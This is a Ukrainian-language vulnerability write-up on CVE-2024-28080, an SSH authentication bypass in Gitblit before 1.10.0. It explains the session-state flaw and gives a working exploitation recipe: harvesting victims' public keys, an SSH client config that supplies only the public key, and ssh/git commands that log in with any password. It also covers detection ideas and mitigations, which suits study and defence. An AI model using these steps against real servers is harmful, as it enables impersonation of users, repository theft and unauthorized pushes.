Gitblit Embedded SSH Auth Bypass (CVE-2024-28080)

Reading time: 6 minutes

Коротко

CVE-2024-28080 — це обхід аутентифікації в вбудованому SSH сервісі Gitblit через некоректну обробку стану сесії при інтеграції з Apache MINA SSHD. Якщо обліковий запис користувача має щонайменше один зареєстрований SSH public key, нападник, який знає username і будь-який з public keys цього користувача, може автентифікуватись без private key і без password.

• Affected: Gitblit < 1.10.0 (observed on 1.9.3)
• Fixed: 1.10.0
• Вимоги для експлуатації:
• Git over SSH enabled on the instance
• Victim account has at least one SSH public key registered in Gitblit
• Attacker knows victim username and one of their public keys (often discoverable, e.g., https://github.com/.keys)

Причина (state leaks between SSH methods)

Відповідно до RFC 4252, public‑key authentication проходить у дві фази: сервер спочатку перевіряє, чи є наданий public key прийнятним для username, і лише після challenge/response із підписом автентифікує користувача. У MINA SSHD PublickeyAuthenticator викликається двічі: при перевірці acceptability ключа (ще без підпису) і пізніше, коли клієнт повертає підпис.

PublickeyAuthenticator Gitblit змінював контекст сесії під час першого, до‑підписного виклику, прив'язуючи аутентифікований UserModel до сесії і повертаючи true ("key acceptable"). Коли пізніше аутентифікація падала до password, PasswordAuthenticator довіряв зміненому стану сесії і коротко замикало процес, повертаючи true без перевірки password. В результаті будь‑який пароль (включно з пустим) приймався після попереднього public‑key "acceptance" для того ж користувача.

Високорівневий неправильний сценарій:

1. Клієнт пропонує username + public key (ще немає підпису)
2. Сервер розпізнає ключ як належний користувачу і передчасно прив'язує користувача до сесії, повертає true ("acceptable")
3. Клієнт не може підписати (немає private key), тож аутентифікація переходить на password
4. Password auth бачить, що в сесії вже є user, і безумовно повертає success

Покрокова експлуатація

• Зібрати username жертви і один з її public keys:
• GitHub експонує public keys за адресою https://github.com/.keys
• Публічні сервери часто експонують authorized_keys
• Сконфігурувати OpenSSH так, щоб подавати лише public half, щоб генерація підпису зазнала невдачі, змушуючи fallback на password, при цьому все ще тригерячи шлях public‑key acceptance на сервері.

Example SSH client config (no private key available):

# ~/.ssh/config
Host gitblit-target
HostName <host-or-ip>
User <victim-username>
PubkeyAuthentication yes
PreferredAuthentications publickey,password
IdentitiesOnly yes
IdentityFile ~/.ssh/victim.pub   # public half only (no private key present)

Підключіться й натисніть Enter на запиті пароля (або введіть будь-який рядок):

ssh gitblit-target
# or Git over SSH
GIT_SSH_COMMAND="ssh -F ~/.ssh/config" git ls-remote ssh://<victim-username>@<host>/<repo.git>

Аутентифікація проходить успішно, тому що попередня public‑key фаза змінила стан сесії на автентифікованого користувача, а password auth помилково довіряється цьому стану.

Note: If ControlMaster multiplexing is enabled in your SSH config, subsequent Git commands may reuse the authenticated connection, increasing impact.

Вплив

• Повне видавання себе за будь‑якого користувача Gitblit, який має принаймні один зареєстрований SSH public key
• Доступ на читання/запис до репозиторіїв відповідно до прав жертви (source exfiltration, unauthorized pushes, supply‑chain risks)
• Можливий адміністративний вплив при націленні на admin user
• Чисто мережевий експлойт; не вимагає brute force або приватного ключа

Ідеї для виявлення

• Переглянути SSH логи на предмет послідовностей, де спроба publickey супроводжується успішною password автентифікацією з порожнім або дуже коротким password
• Шукати потоки: publickey method, що пропонує unsupported/mismatched key material, а потім відбувається миттєвий password успіх для того ж username

Міри пом'якшення

• Оновіть до Gitblit v1.10.0+
• Поки оновлення не відбулося:
  • Вимкнути Git over SSH на Gitblit, або
  • Обмежити мережевий доступ до SSH service, та
  • Моніторити підозрілі шаблони, описані вище
  • Провести ротацію облікових даних уражених користувачів у разі підозри на компрометацію

Загальне: зловживання SSH auth method state‑leakage (MINA/OpenSSH‑based services)

Шаблон: Якщо public‑key authenticator сервера змінює user/session state під час pre‑signature "key acceptable" фази, і інші authenticators (наприклад, password) довіряють цьому стану, можна обійти автентифікацію шляхом:

• Представлення легітимного public key для цільового користувача (без private key)
• Примусити client провалити підписування, щоб сервер переключився на password
• Надання будь‑якого password, поки password authenticator short‑circuits на leaked state

Практичні поради:

• Public key harvesting at scale: витягувати public keys з загальних джерел, таких як https://github.com/.keys, organizational directories, team pages, leaked authorized_keys
• Forcing signature failure (client‑side): вкажіть IdentityFile лише на .pub, встановіть IdentitiesOnly yes, збережіть PreferredAuthentications так, щоб включити publickey потім password
• MINA SSHD integration pitfalls:
  • PublickeyAuthenticator.authenticate(...) не повинна прикріплювати user/session state до тих пір, поки post‑signature verification path не підтвердить підпис
  • PasswordAuthenticator.authenticate(...) не повинна робити висновок про успіх, виходячи з будь‑якого стану, зміненого під час попереднього неповного методу автентифікації

Пов'язані протокольні/дизайнерські нотатки та література:

• SSH userauth protocol: RFC 4252 (publickey method is a two‑stage process)
• Історичні обговорення щодо early acceptance oracles та auth races, наприклад, суперечки навколо поведінки OpenSSH у контексті CVE‑2016‑20012

Посилання

• Gitblit CVE-2024-28080: SSH public‑key fallback to password authentication bypass (Silent Signal blog)
• Gitblit v1.10.0 release notes
• Apache MINA SSHD project
• PublickeyAuthenticator API
• RFC 4252: The Secure Shell (SSH) Authentication Protocol